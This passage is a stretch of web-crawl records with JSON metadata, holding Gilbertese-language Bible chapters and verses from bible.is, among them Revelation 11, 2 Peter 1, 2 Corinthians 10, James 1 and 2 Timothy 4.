arei, ae te ara ni kabootau, bon Totom ma Aikubita. 9Ao tabemwaang mai buakoia natanaomata ma baronga ma bootanaomata ma aomata nako aika a kakaokoro aia taetae a taratarai rabwata ake a mate akekei i nanon tenibong ma te iterana, ao a aki kariaia bwa a na taunaki n te rua ni mate. 10Ao ake a maeka i aon te aba a kimwaareirei ma ni kakatonga; ao ane a na kanako bwaintangira ni bon nakoia n tatabemaniia nako; bwa buraabeti ake uoman akekei bon taan uota te aro ae e kamaamate nakoia aomata ake a mena i aon te aba. 11Ma i mwiin teniua ma te iterana te bong ao e nako mai iroun te Atua te ikeike-ni-maiu, ao e rin i nanoia; ao a tei rake i aoni waeia, ao ake a tarataraiia a rootaki n te maaku ae e korakora. 12Ao buraabeti ake uoman akekei a ongo te bwanaa ae e korakora mai karawa ae e kaangai nakoia, Kam na rierake nako ikai. Ao a rierake nako karawa n te nang; ao aia kairiribai a tarataraiia. 13Ao n te aoa naba arei ao e roko te mwaeiei ae e korakora; ao e uruaki kabwiani mwakoron te kaawa, ao a mate ni mwaeiein te aba arei aomata aika itinga; ao aomata ake nikiraia a rangi ni maaku, ao a angan Atuani karawa te neboaki. 14E a tia n roko te kauoua n rekenikai; nooria, ae e na roko ni waetata te kateniua n rekenikai! 15Ao e katanga ana buu te anera are te kaitiman; ao bwanaa aika a korakora i karawa a kaangai, Ana bwai ara Uea ma ara Kristo te mwaaka n tau-taeka i aonnaba; ao ane E na uea n aki tootoki. 16Ao unimwaane ake uangaun ma aman, ake a tekateka i aon aia kaintokanuea i matan te Atua, a katorobubua ni bobaraaki ao a taromauriia te Atua, 17ao a kaangai, Ti katituaraoiko te Uea ae te Atua ae Moan te Mwaaka, ae iai ngkai, ao iai naba ngkoa, bwa Ko a tia ni kaboonganaa mwaakam ae e korakora, ao Ko uea! 18A un bootanaomata aika a aki onimakina te Atua; ma e a roko unim ao te tai i bukiia maate ni motikaki taekaia, ma te tai are a na anganaki iai boon aia mwakuri am toro ake buraabeti ma ake a maaka aram, ake te koraki ake a mangori ma ake a kakannato; ao te tai ae a na tiringaki iai akana urua aon te aba. 19Ao e kaukaki ana umwantabu te Atua, ae te umwantabu ae e mena i karawa, ao e nooraki te Ati ni booraraoi i nanona; ao e itiiti ma n rebwetata te baa ma n rurungaa, ao e mwaeiei te aba; ao e bwaka ni korakora te karau ae te aiti ae e matoatoa.\nTE KAOTIOTI 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/11","date":"2013-12-11T07:41:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164033367\/warc\/CC-MAIN-20131204133353-00031-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":738,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.484,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai iroun Timon Betero, ae ana toro ma ana tia tuatua Iesu Kristo, nakoia akana a reke irouia te onimaki ae e kakaawaki ae ti te arona ma ara onimaki, ae e reke n ana raoiroi Atuara ma ara Tia Kamaiu are Iesu Kristo. 2E na kabatiaaki nakoimi te aakoi ma te raoi n ataakin te Atua ma Iesu are ara Uea. 3E a tia te Atua n oini mwaakana n anganiira bwaai ni kabane ibukin te maiu ni Kristian, n ataakin Teuare e weteira bwa ti na buokanibwai ma Ngaia n arona ma kateina ae e raoiroi; 4ake E anganiira iai taeka n aakoi ake a kakaawaki ma ni moani kakannato, bwa kam aonga ni biri nako man te kaibwabwaru ae e kamaamate ae i aon te aba, ao kam riki bwa taani buokanibwai n te aro n Atua. 5Ma ngaia ae kam na kataa ami kabanea ni konaa n raona ami onimaki n te raoiroi, n raona ami raoiroi n te atatai; 6n raona ami atatai n te taotaonaki n nano mani baika e tangiri te rabwata; n raona ami taotaonaki n nano mani baika e tangiri te rabwata n te nanomwaaka; n raona ami nanomwaaka ni maiumi ni Kristian; 7n raona maiumi ni Kristian n akoaia raomi n onimaki; n raona akoaia raomi n onimaki n te tangira. 8Bwa ngkana a reke iroumi baikai, ni bati, ao kam naa riki ni boongana ma n uaanan ataakin ara Uea are Iesu Kristo. 9Ma ane akea irouna baikai, ao e reme ana taratara n te aro are e aki konaa n noora ae e raroa, ao e mwaninga are e a tia ni kaitiakaki man ana bure ake nikawai. 10Ma ngaia aei, taari, kam na rangi ni kekeiaki mwaaka ni kaotingkami ni maiumi bwa kam boni weteaki ma n rineaki; bwa ngkana kam karaoa aei, ao kam na bon aki bwaka. 11N te aro aei, ao kam na anganaki ni kabatiaaki te konaa n rin n uean ara Uea ao ara Tia Kamaiu are Iesu Kristo, are ueana are e aki toki. 12Ma ngaia ae iai nanou bwa N na kauringngkami n tai nako ni baikai, e boni ngae ngkana kam a kaman atai ao kam nene ni matoa n te koaua ane e a tia n reke iroumi. 13I taku bwa e bon riai, ngkai I teimatoa ni maiu, bwa N na kaakaraoa ae kam na ururing iai baikai; 14ngkai I ataia bwa e a kaan te tai are N na kiitana iai te maiu aei, n ai aron are e kaotaki nakoiu iroun ara Uea are Iesu Kristo. 15Ao N na kataa au kabanea ni konaa ni karekea te anga are kam na konaa iai n ururing baikai n tai nako i mwiini mateu. 16Bwa ti aki taekini karaki aika a oteaki n te aro n rabakau, ngke ti tuangkami mwaakan ma rokon ara Uea are Iesu Kristo; ma ti bon noora kakannatona. 17Bwa E anganaki te karineaki ma te neboaki mai iroun te Atua are te Tama, ngke e roko te bwanaa nakoina mai iroun te Mimitong are Moan te Tamaroa, are e kaangai, Natiu ae E tangiraki Teuaei, ae I kakatonga irouna. 18Ao ti ongo te bwanaa anne are e roko mai karawa, bwa ti mena ma Ngaia i aon te maunga are e tabu. 19Ma ngaia ae ti aki nanokokoraki riki n te rongorongo are a taekinna buraabeti. E raoiroi iroumi bwa kam na ongo iai, ibukina bwa ai aron te taura ae e ura n te tabo ae e roo ni karokoa ae e nang oti taai ao e oota te itoi ni ngaina i nanomi. 20Te bwai ae e moamoa riki bwa kam na ataa aei: bwa akea te taetae ni buraabeti n te Baibara ae e konaaki ni kabwarabwaraaki nanona iroun te aomata temanna n ti ngaia; 21bwa bon akea te taetae ni buraabeti ae e roko n te tai teuana man oin nanon te aomata; ma aomata a taekina te taeka are e roko mai iroun te Atua, ni kairaia iroun te Taamnei are e Raoiroi.\n2 BETERO 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Pet\/1","date":"2013-12-09T04:10:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163870408\/warc\/CC-MAIN-20131204133110-00006-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":677,"character_repetition_ratio":0.055,"word_repetition_ratio":0.003,"special_characters_ratio":0.235,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 1:2020ao bon nanona naba bwa E na raoiakini bwaai ni kabane nakoina irouna, aika i aon te aba ma ake i karawa; ao E karaoa aei ni maten Natina i aon te kaibangaki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Col\/1\/20","date":"2013-12-07T22:33:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055855\/warc\/CC-MAIN-20131204131735-00006-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000035762786865}","num_words":49,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 5:44Ao akea temanna ae e anaa te karineaki aei bwa karineana, ae te nakoa n ibonga ae e kakannato, ma ti ngkana e weteaki nako iai iroun te Atua, n ai aron Aaron. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/5\/4","date":"2013-12-11T18:35:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164043130\/warc\/CC-MAIN-20131204133403-00013-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000017881393433}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24Ma ngkana tao a bane n taetae ni buraabeti ao e rin temanna ae e aki onimaki ke temanna ae e kan rin n te ekaretia ma e tuai n rin, ao e na namakinna bwa bon te tia bure ngaia, n ongoraana ni bwaai ni kabane ake a taekinaki, ao e na motikaki naba taekana iai;\n1 KORINTO 14:24\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/24","date":"2013-12-13T02:06:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164805405\/warc\/CC-MAIN-20131204134645-00083-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":61,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.266,"stopwords_ratio":0.475,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 1:1515ao waena ai aron taraan te buraati ae e raneanea ae e a tia ni kaburoaki ni kaitiakaki n te ai ae e ura mwaaka; ao bwanaana ai aroni karongoaani bwaron naao aika a bati, Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/15","date":"2013-12-09T08:11:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163936569\/warc\/CC-MAIN-20131204133216-00021-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000064373016357}","num_words":52,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14Ao e mwaamwanaa iia ake a maeka i aon te aba ni kanikina ake e anganaki bwa e na karaoi i matan te man are e moani kaoti; ao e tuangiia ake a maeka i aon te aba bwa a na karaoa te bouananti ae e na katootoonga aron tein rabwatan te man are e aki mate ngke e ikoaki n te kabaang.\nTE KAOTIOTI 13:14\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13\/14","date":"2013-12-09T12:10:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163968717\/warc\/CC-MAIN-20131204133248-00021-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":68,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.5,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngai ae Bwauro. I butingkami n nimamanneini Kristo ao n nanoraoina—ngai ae I atongaki bwa I nanorinano ngkana I mena i rarikimi, ma I ninikoria ngkana I raroa nako mai iroumi- 2I boni butingkami bwa kam na aki karaoa ae N na rangi ni matoatoa iai ngkana I roko iroum! Bwa I boni konaa ni matoatoa nakoia ake a taku bwa ti nakonako n te aro n rabwata. 3Bwa ti maiu n te aro n rabwata, ma ti aki buaka n ai aron nanon te rabwata; 4bwa ara bwai ni buaka aika ti kamanenaai n te buaka bon tiaki bwain aon te aba, ma bwai ni buaka aika a korakora iroun te Atua n uru taabo ni buaka aika a matoatoa. Ti uru taeka ni baka n rabakau, 5ma aaro ni kainikatonga nako aika tuutuuki man ataakin te Atua; ao ti kataenikai naano ni kabane bwa a na ongo irouni Kristo; 6ao ti tauraoi ni karekea kain te aki-ongeaaba ni kabane, ngkana e a roko raoi aromi n ongeaaba. 7Kam babaaire man taraan aron teini bwaai. Ngkana e koaua i nanona te aomata bwa ana bwai Kristo ngaia, ao ke e kauringnga bwa ngkai ana bwai Kristo ngaia, ao ngaira bon ana bwai naba Kristo. 8Bwa e boni ngae ngkana tao I kabatiaa kamoamoaau ibukini mwaakara are e anganiira te Uea ibukini kateimatoaami ma tiaki ibukini kabwakaami, ao I bon aki maamaa; 9ngkai I aki tangiringkami bwa kam na taraai bwa aongkoa I kataia ni kakamaakuingkami n au reta. 10Bwa iai ae e kaangai, A rawaawata ma ni matoatoa taekan ana reta Bwauro, ma ngkana e mena rabwatana i rarikira ao e mamaara n arona, ao a kaakeaaki boonganan ana taeka. 11Ke e ataia te aomata anne bwa te baere ti taekinna n te reta ngkai ti raroa, ao ti na boni karaoia ngkana ti mena iroumi. 12Bwa ti maaku n atongira bwa raoia te koraki ake a kamoamoai aroia, ke ni kabootauiia ma boni ngaiia, ao a nanobaba. 13Ma ti na aki kamoamoaira i aon are e baaireaki are E anganiira te Atua, ae te tia are kam reke naba i nanona. 14Ao ngkai kam reke i nanona, ao ti bon aki karakaira i aona ngke ti roko n uota taekan euangkerioni Kristo nakoimi. 15Ti aki kamoamoaira n aia mwakuri temwaangina are a karaoia i tinanikun te tia are E a tia te Atua ni baaireia nakoira; ma bon ara kaantaninga bwa ngkana e rikirake ami onimaki, ao ara mwakuri e na karaababaaki riki i buakomi n ai aroni baaireana. 16Ngkana e riki aei ao ti a konaa n tataekina te euangkerio n aaba ake i tinanikuni Korinto, n aki kamoamoaira n te mwakuri are e a kamani karaoaki iroun temanna n te tabo are e a tia ni baaireaki nakoina. 17Bwa e kaangai te Baibara, Ane e kamoamoa, ao ke e kamoamoa iroun te Uea. 18Bwa tiaki te aomata ae e taekina arona ni kamoamoaa ae e kakoauaaki bwa e raoiroi arona, ma te aomata ae e kamoamoaaki arona iroun te Uea.\n2 KORINTO 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/10","date":"2013-12-10T02:38:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164004946\/warc\/CC-MAIN-20131204133324-00091-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":505,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I tuangko i matan te Atua, ma Kristo Iesu, are e nangi motiki-taekaia akana a maiu ma akana a mate, ao ibukin ae E nangi roko n tautaeka bwa te Uea Ngaia: 2ko na tataekina ana taeka te Atua, ao ko na kakorakorako ni karaoia i nanon te tai ae e riai ke ae e aki; ko na kaoti aroia aomata aika a buaakaka nakoia, ko na boaiia, ao ko na kauungaiia, n reireiia ma te taotaonaki n nano ni kabane. 3Bwa ane e na roko te tai ae a na rawa aomata iai n ongo te reirei ni koaua, ao a na iri nanoia ni kaibwabwaru, ma ni karekeia aia tia reirei ni kabatiaia aika a na tuangaki irouia baika a ingainga nanoia iai ni kan ongoraa. 4Ane a na katannakoi taningaia man te koaua, ao a na ongoraa ni karaki nikawai aika a oteaki. 5Ma ngkoe, ko na kamarurungko bwa e na aki bua am iango i aoni bwaai ni kabane; ko na taona nanom nakoni marakim, ko na karaoa ana mwakuri te tia taekina te euangkerio, ao ko na karaoi ni kabane kanoan nakoam. 6Ao ngai, e a roko te tai ae N nang kamateaki iai ao N nangi riki bwa kaanga ai aron te karea are te ninima are e kabwaroaki i aon te baonikarea; aio au tai are N nang kiitana iai te maiu aei. 7I a tia n rangi ni kekeiaki mwaaka, n te kekeiaki mwaaka ae e raoiroi; I a tia ni kaboo biri mwaaka, ao I a tia n teimatoa i nanon te onimaki. 8Ao iai ngkai te kaniwanga ibukini karaoan nanon te Atua are e kaawakinaki i bukiu, are te kaniwanga n tokanikai are E na anganai te Uea ae te Tia Motiki-taeka ae e bwaabwaina te eti; ao tiaki ti ngai n anganaki, ma a na anganaki naba aomata ni kabaneia aika a tangira kaotina. 9Ko na bareiko n nako mai nakoiu n aki waeremwe. 10Bwa e kiitanai Tema, ibukin tangirani bwain te maiu aei, ao e nako Tetaronike; ao Kiretike e nako Karatia, ao Tito e nako Tarematia. 11Ai ti Ruka ae e mena irou ngkai. Ko na wetea Mareko, ao kairia mai bwa raom: bwa e manena ibukini buokau n te mwakuri. 12I kanakoa Tukiko nako Ebeto. 13Ngkana ko nako mai, ao ko na uota au kunnikai ae rabunan aou are I katikua i Teroa irouni Karebo; ao uoti naba taian niira ni boki ake a karaoaki man uteute, ma ai moa ra riki te niira ni boki ake kunin maan. 14Arekantero are te tia karaoi bwaai man te buraati e karaoi baika a bubuaka aika a bati nakoiu. Ane e na kabooaki mwiin ana mwakuri aika a buaakaka iroun te Uea n ai aroni baike e karaoi. 15Ao ko na tarataraiko mai irouna, bwa e rangi ni kakauntabai ara taeka. 16Akea ae e tei i rarikiu n te moa n tai are I taetae iai ni kaaitarai bukinau; a bane ni kiitanai. E bia aki tauaki aroia aei bwa te bure nakoia! 17Ma E tei te Uea i rarikiu ao E kakorakoraai bwa N na taekina te euangkerio ae e bwanin bwa a na ongo aomata aika tiaki I-Iutaia; ao I kamaiuaki man te mate. 18E na boni kainaomataai te Uea man aaro nako aika a bubuaka, ao E na kamaiuai ma ni karinai i nanoni ueana are i karawa. Bon ana bwai te neboaki n aki tootoki. Amene. 19Ko na anga au kamauri nakoni Nei Beritikira ma Akura ma ana utu Onetiboro. 20E tiku Erateto i Korinto; ao I katuka Terobimo i Mireto, ngke e aoraki. 21Ko na bareiko n nako mai i mwaain tain te aumeaang. E kamauriko Euburo, ma Boute, ma Rino, ma Kirauria, ma taari ni kabaneia. 22E na mena te Uea iroun taamneim. E na mena te aakoaki iroumi ni kabaneingkami.\n2 TIMOTEO 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Tim\/4","date":"2013-12-12T15:37:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164641982\/warc\/CC-MAIN-20131204134401-00030-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":640,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai iroun Iakobo, ae ana toro te Atua ma te Uea are Iesu Kristo; nakoia ana aomata nako te Atua ake a uamaae i aonnaba; kam na mauri. 2Tariu, kam na kimwarerei ngkana kam kaaitara ma taiani kariirii nako, 3ngkai kam ataa kataan ami onimaki bwa e karika te nano mwaaka. 4Ao 461 ke e kakororaoa raoi ana mwakuri te nanomwaaka i nanomi, bwa kam aonga ni kororaoi n akea kabwakaami, ao kam aki kainnano n te bwai teuana. 5Ngkana akea ana rabakau temanna i buakomi, ao e na butiia te Atua ae e tituaraoi, ae e kukurei n angaangania aomata ni kabaneia, ao e na bon anganaki. 6Ma e na buubuti ma te nano n onimaki, n aki nanokokoraki teutana; bwa ane e nanokokoraki ai aron nanoni marawa ae e ukaki n te ang ao e kaueeaki. 7E na tai taku te aomata anne bwa e na anganaki te bwai mai iroun te Uea; 8ngkai te aomata ngaia n nanououa, ae e kai bibitaki arona. 9Ke e kimwaareirei te tari ae e aki kaubwai ngkae e karietaataaki; 10ao e na kimwaareirei ane e kaubwai ngkae e karinanoaki: bwa ane e kaubwai ao e na mauna n ai aron ueen te uteute. 11Bwa e oti taai ma te ang ae kabuebue, ao e karaia te uteute; ao e bwaka ueena, ao e mauna tamaaroana. Ao ai aron naba te aomata ae kaubwai: e na rai i nanon ana tai ni waakina ana bitineti. 12E a kabwaia te aomata ae e teimatoa i buakon te kariiriiaki; bwa ngkana e a tia ni kataaki, ao e na reke irouna te bau are te maiu, are E atongnga te Uea bwa aia bwai akana a tangiria. 13Ngkana e kariiriiaki temanna, ao ke e tai kaangai, I kariiriiaki mai iroun te Atua: bwa E aki konaaki te Atua ni kariiriiaki ni baika a bubuaka, ao akea ae E kariiriiaki irouna; 14ma e kariiriiaki te aomata ngkana e kairaki ma n tauaki n nanona ni kaibwabwaru. 15Ao te nano ni kaibwabwaru, ngkana e bikoukou, ao e bungia te bure; ao te bure, ngkana e ikawai, ao e bungia te mate. 16Tariu aika kam tangiraki, a na tai bure ami iango. 17Bwaai ni kabane aika a raraoi ma ni moanibaan te raoiroi boni bwaai n tituaraoi mai eta, aika a ruo mai iroun Taman te oota! \"Taman te oota,\" bon te Atua are e karika taai ma namwakaina ma itoi aika iai ootaia.are akea irouna te bibitaki are e na reke maiai te nu ae e roo. 18E karikira n oin nanona, n te taeka are te koaua, bwa ti na riki bwa kaanga moani-bwai i buakoia akana a karikaki irouna. 19Tariu aika kam tangiraki, kam na ataa aei: a riai aomata nako n aki tabwara n ongoraa, a na aki waekoa ni kan taetae, ao a na aki kakai un; 20bwa unin te aomata e aki konaa ni karaoa nanon te Atua. 21Ma ngaia ae kam na kaaki aromi aika a kamwaraa ma kateimi ni kabane aika a bubuaka, ao kam na kaaki i nanomi ma te nimamannei te taeka are e unikaki are e konaa te kamaiungkami. 22Kam na aki mwaamwanaingkami n iangoia bwa ti taan ongoraa ngkami n ana taeka te Atua; ma kam na riki bwa taan toua mwiina. 23Bwa ngkana e ongo ana taeka te Atua te aomata n aki toua mwiina, ao ai aron te aomata ae e tirotiroia n te tirotaam: 24bwa e tirotiroia, ao e nako, ao e a mwaninga naba ngkekei tein taraana. 25Ma ane e tarataraa te tua are moanibaan te raoiroi, are tuan te inaomata, n teimatoa iai, ngkai tiaki te aomata ngaia are e ongo ao i mwiina e mwaninga, ma te aomata are e karaoa nanon te baere e ongo, ao e na kakabwaiaaki n are e na karaoia. 26Ngkana e taku temanna bwa e taua te Aro, ao e aki konaa n taua tian ana taeka, ao e boni mwaamwanaia i bon irouna, ao akea nanon tauan te Aro irouna. 27Aio te Aro ae e itiaki ae e aki kamwaraa i matan te Atua ae te Tama: bon tararuaiia akana a mate tamaia ma aine aika a mate buia ni kain nanoia; ao te kaawakinna te aomata bwa e na aki baareka ni bwain aon te aba.\nIAKOBO 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/1","date":"2013-12-05T08:44:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163042430\/warc\/CC-MAIN-20131204131722-00095-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":715,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.483,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai irouni Bwauro, ma Tirouano, ma Timoteo, nakoia kaain te ekaretia i Tetaronike, aika ana bwai te Atua ae te Tama ma te Uea are Iesu Kristo: ami bwai te aakoaki ma te raoi. 2Ti aki toki ni katituaraoa te Atua i bukimi ni kabaneingkami, ao ti mwaneweingkami n taai nako n ara tataro: 3ngkai ti aki toki, i matan te Atua are Tamara n ururinga ami mwakuri ae kanoan ami onimaki, ma ami mwakuri korakora ae kanoan ami tangira, ao ami kaantaninga ae e nene i nanon ara Uea are Iesu Kristo. 4Ti ataingkami, taari, aika kam tangiraki iroun te Atua, bwa E a tia n rineingkami; 5bwa te euangkerio are ti taekinna e aki roko iroumi n ti te taeka, ma e roko naba n te mwaaka, ao iroun te Taamnei are e Raoiroi, ao n te aki-nanokokoraki naba teutana; n ai aromi ngkai kam bon atai arora ni menara i buakomi i bukimi. 6Kam riki bwa taani kakairi iroura ma te Uea, ngke kam butimwaaea ana taeka ma te kimwaareirei are mai iroun te Taamnei are e Raoiroi, i buakon rawaawatami ae e bati: 7ao ibukin aromi aei ao kam riki bwa te banna ni kakairi nakoia ni kabaneia ake a onimaki i Mwaketonia ao i Akaia. 8Bwa e aki ti katanoataaki n aromi ana taeka te Uea i Mwaketonia ma Akaia, ma e a tia naba n tanoata taekan onimakinan te Atua iroumi n taabo ni kabane; ma ngaia ae akea te bae e kainnanoaki bwa ti na taekinna. 9A bane aomata n taekina aron rinra i buakomi, ma aromi ngke kam rairaki mani bouananti nakon te Atua, n toro iroun te Atua ae e maiu ae e koaua, 10ao ni kaantaninga Natina mai karawa are E a manga kamaiua mai buakoia maate, are Iesu, are e kamaiuira man unin te Atua are e nangi roko.\n1 TETARONIKE 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Thess\/1","date":"2013-12-13T16:16:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164960531\/warc\/CC-MAIN-20131204134920-00029-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":311,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 TIMOTEO 4:1414Ko na tai kaaki taekan te bwai n tituaraoi ane iroum, are ko anganaki n te tai are a taetae ni buraabeti iai buraabeti ao a katokai baiia i aom unimwaanen te ekaretia. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/4\/14","date":"2013-12-11T06:28:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164032243\/warc\/CC-MAIN-20131204133352-00031-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999518394,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9999518394470215}","num_words":49,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2ao Aberaam e anganna kakateuana te katebwina ni mwakoro mani mwaitin ana bwai aika a kakaokoro nako ake a reke irouna. Moan nanon te ara ae Merekitereka bon Uean te Raoiroi; ao ibukina ngkai uean Tarem, ao iai naba nanona ae Uean te Raoi.\nEBERA 7:2\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/7\/2","date":"2013-12-11T10:26:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164034487\/warc\/CC-MAIN-20131204133354-00033-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":48,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I a manga noora te bwai teuana i karawa ae e kamiimii taraana, ae te bwai ae e abwaabwaki ae e kamiimii: bon anera aika itiman, ao iai irouia kabaneani bwaai ni kamaamate; ngaiia aika a kaota tokin unin te Atua. 2Ao I noora te bwai ae kaanga ai aroni marawa ae te kiraati ae e renganaki n te ai; ao I nooriia naba ake a tokanikai i aon te man arei, ma te bouananti are katootoongana, ao i aon naba are e tei te ware ibukin arana, bwa a tei i aoni marawa are te kiraati, n tau aabi ake mai iroun te Atua. 3Ao a anenea ana anene Mote are ana toro te Atua, ma ana anene te Tiibuteteei, ao a kaangai, Te Uea ae te Atua, ae Moan te Mwaaka, A kakannato am mwakuri ao a kamiimii! A eti ma ni koaua arom, Ngkoe ae aia Uea bootanaomata ! 4Ai antai ae e na aki maaku iroum, te Uea, ma n aki neboa aram? Bwa ti Ngkoe ae 